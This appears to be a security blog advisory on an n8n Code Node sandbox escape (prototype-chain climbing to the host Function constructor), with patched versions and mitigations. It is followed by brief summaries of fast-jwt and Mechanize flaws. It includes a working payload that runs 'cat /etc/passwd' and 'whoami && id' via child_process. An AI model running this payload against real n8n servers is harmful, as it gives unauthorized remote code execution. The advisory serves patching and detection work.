Feb 26, 2026·7 min read·156 visits
n8n's JavaScript Task Runner failed to properly isolate user code, allowing a classic 'prototype climbing' attack. By accessing the `constructor` of the `this` context, attackers can reach the host's `Function` constructor, return the global `process` object, and execute system commands (RCE). Fixed in versions 1.123.22, 2.9.3, and 2.10.1.
A critical sandbox escape vulnerability in the n8n workflow automation platform allowing authenticated users to execute arbitrary code on the host server. The flaw resides in the JavaScript Task Runner, where insufficient isolation allows attackers to climb the prototype chain and access the host process context.
n8n is the glue that holds a significant portion of the modern internet together. It's the "fair-code" workflow automation tool that lets developers and non-technical users alike chain together Webhooks, AWS Lambdas, and Slack notifications into complex Rube Goldberg machines of productivity. To make these workflows powerful, n8n includes a Code Node—a feature that allows users to write custom JavaScript to manipulate data between steps.
For performance and security, n8n introduced the JavaScript Task Runner in version 1.34. The goal was noble: isolate the execution of this untrusted user code so it doesn't block the main event loop or crash the server. They built a sandbox. The problem? Building a secure sandbox in JavaScript is like trying to build a submarine out of screen doors. If you miss a single gap, the water (or in this case, the child_process module) comes rushing in.
CVE-2026-27495 is the realization of that fear. It's a critical sandbox escape that turns a standard "Code" node into a full-blown remote shell on the host server. If you're running n8n in its default configuration, an authenticated user doesn't just have access to their workflow; they have access to your entire server.
To understand this vulnerability, you have to understand how JavaScript handles inheritance. In JS, almost everything is an object, and objects have prototypes. If you can access an object, you can usually access its constructor. If you can access its constructor, you can access that constructor's constructor.
The n8n Task Runner attempted to restrict access to global objects like process, require, and fs. However, it failed to sever the link between the sandboxed context and the host context via the this keyword.
Here is the logic flaw in a nutshell:
this).this has a constructor (which is Object).Object has a constructor (which is Function).Function constructor, when called, creates a new function in the scope where the constructor is defined.Because the sandbox didn't properly freeze or nullify these prototypes, an attacker can simply walk up this ladder. It’s like locking the front door of a house but leaving a ladder leading to an unlocked second-story window. The moment you reach the Function constructor of the parent environment, the sandbox effectively vanishes.
Let's look at the mechanics. In a secure sandbox (like Figma's Realm or a properly hardened vm2), the constructor property is usually proxied or set to null to prevent exactly this kind of traversal. In the vulnerable versions of n8n, this protection was missing or incomplete.
Below represents the conceptual difference between the vulnerable state and a hardened state:
The environment allows traversal from the local context this back to the global constructors.
// Inside the "sandboxed" Code Node
const box = this; // We have the context
const boxMaker = box.constructor; // Object constructor
const godMode = boxMaker.constructor; // Function constructor (HOST context!)Once we have godMode (the host's Function constructor), we can use it to create a function that returns the host's process object. This is the "Game Over" moment.
// The one-liner that kills the sandbox
const proc = this.constructor.constructor('return process')();
// Now we are just standard Node.js
const require = proc.mainModule.require;
const child_process = require('child_process');
child_process.execSync('cat /etc/passwd');> [!ALERT] > This is not a complex buffer overflow or a heap grooming exercise. It is a logical flaw in how JavaScript scopes are nested. It requires zero binary exploitation knowledge, just a basic understanding of JS internals.
So, how does a researcher (or attacker) actually weaponize this? It's shockingly easy. You don't need a special hacking tool; you just need the n8n UI.
Step 1: Access. The attacker needs permission to create or edit a workflow. In many organizations, this is given to "citizen developers" or contractors.
Step 2: The Setup. Create a new workflow and drag in a "Code" node. Select "Run Once for All Items".
Step 3: The Payload.
Paste the following JavaScript into the code editor. This payload detects the environment and attempts to exfiltrate the /etc/passwd file (or run any command) back to the workflow output for easy viewing.
try {
// 1. Climb the ladder
const UnsandboxedFunction = this.constructor.constructor;
// 2. Get the process object
const hostProcess = UnsandboxedFunction('return process')();
// 3. Import child_process using the main module's require
const cp = hostProcess.mainModule.require('child_process');
// 4. Execute command
const output = cp.execSync('whoami && id').toString();
// 5. Return data to the UI
return [{ json: { success: true, payload: output } }];
} catch (e) {
return [{ json: { success: false, error: e.message } }];
}Step 4: Execution.
Click "Execute Node". If the instance is vulnerable (Internal Task Runner), the output pane will cheerfully display root (or typically the node user), confirming you have full control over the container or host.
The severity of this vulnerability depends heavily on your N8N_RUNNERS_MODE configuration, but in almost all cases, it's bad news.
Scenario A: Internal Task Runner (Default) This is the worst-case scenario. The code runs in a sub-process of the main n8n application. Escaping the sandbox means you are now the user running n8n. You can:
config files containing database credentials.Scenario B: External Task Runner Here, the code runs in a separate worker (often a container). The escape "only" compromises that worker. However, that worker still has access to the data being processed by other tasks assigned to it. It creates a lateral movement opportunity and data exfiltration point, even if the main n8n database is slightly harder to reach.
The n8n team responded quickly (kudos to them) by releasing versions 1.123.22, 2.9.3, and 2.10.1. The fix involves a more rigorous sanitization of the context object passed to the sandbox, specifically severing the prototype chain so constructor is no longer a gateway to the host.
< 1.123.22 or between 2.0.0 and 2.9.3, you are vulnerable.N8N_RUNNERS_ENABLED=false (Safest, but might slow down heavy processing)N8N_RUNNERS_MODE=external (Reduces blast radius)child_process, execSync, or unusual calls to constructor in user code.> [!TIP] > Security is a layer cake. Relying solely on a software sandbox for code execution is risky. Always run applications like n8n in a container with limited privileges, read-only root filesystems where possible, and restricted egress traffic.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H| Product | Affected Versions | Fixed Version |
|---|---|---|
n8n n8n | < 1.123.22 | 1.123.22 |
n8n n8n | >= 2.0.0, < 2.9.3 | 2.9.3 |
n8n n8n | 2.10.0 | 2.10.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 (Improper Control of Generation of Code) |
| Attack Vector | Network (Authenticated) |
| CVSS | 9.4 (Critical) |
| Impact | Remote Code Execution (RCE) |
| Privileges Required | Low (Workflow Editor) |
| Exploit Status | PoC Available |
A high-severity type-confusion vulnerability exists in NearForm fast-jwt prior to version 6.3.0. The vulnerability allows attackers to bypass crucial claim validation steps (such as expiration, issuer, audience, and subject validations) by presenting a validly signed JSON Web Token structured as a JSON array instead of a JSON object. This occurs because the library's decoder fails to reject JSON arrays during type evaluation.
NearForm fast-jwt prior to version 6.3.0 is vulnerable to an input validation flaw where configuring verifier properties (such as clockTolerance, clockTimestamp, and cacheTTL) with non-finite values like Infinity or NaN allows attackers to bypass temporal claim validations, including expiration (exp) and activation (nbf) boundaries. This validation bypass can result in unauthorized session persistence and cache poisoning.
A critical cryptographic vulnerability in fast-jwt versions 6.2.x prior to 6.3.0 allows unauthenticated remote attackers to execute an asymmetric-to-symmetric algorithm confusion attack due to incomplete validation of leading non-whitespace prefixes.
CVE-2026-107720 is a critical signature verification bypass vulnerability in NearForm's fast-jwt Node.js library. Under specific configurations where the token verifier is initialized with a falsy cryptographic key (such as an empty string or null) and a non-empty algorithms allowlist, the library erroneously skips signature validation. This allows unauthenticated remote attackers to submit fabricated, unsigned JSON Web Tokens and bypass the authorization boundary of the application entirely.
Ruby Mechanize prior to version 2.14.1 contains an information disclosure vulnerability. When executing cross-origin HTTP redirects, global headers configured on the Mechanize agent (such as Authorization or Session Cookies) are dynamically re-applied to the subsequent request, bypassing the internal header-stripping logic. An attacker who controls a redirection endpoint can capture sensitive bearer tokens or cookies.
An origin trust boundary failure in the Ruby mechanize library (prior to v2.14.1) allows unauthenticated remote web servers to harvest sensitive global request headers, such as Authorization Bearer tokens and cookies, by utilizing HTML-level meta-refresh redirection tags. Standard HTTP-level redirect boundaries were not applied to document-level redirects, creating a vector for cross-origin credential leakage during automated crawls.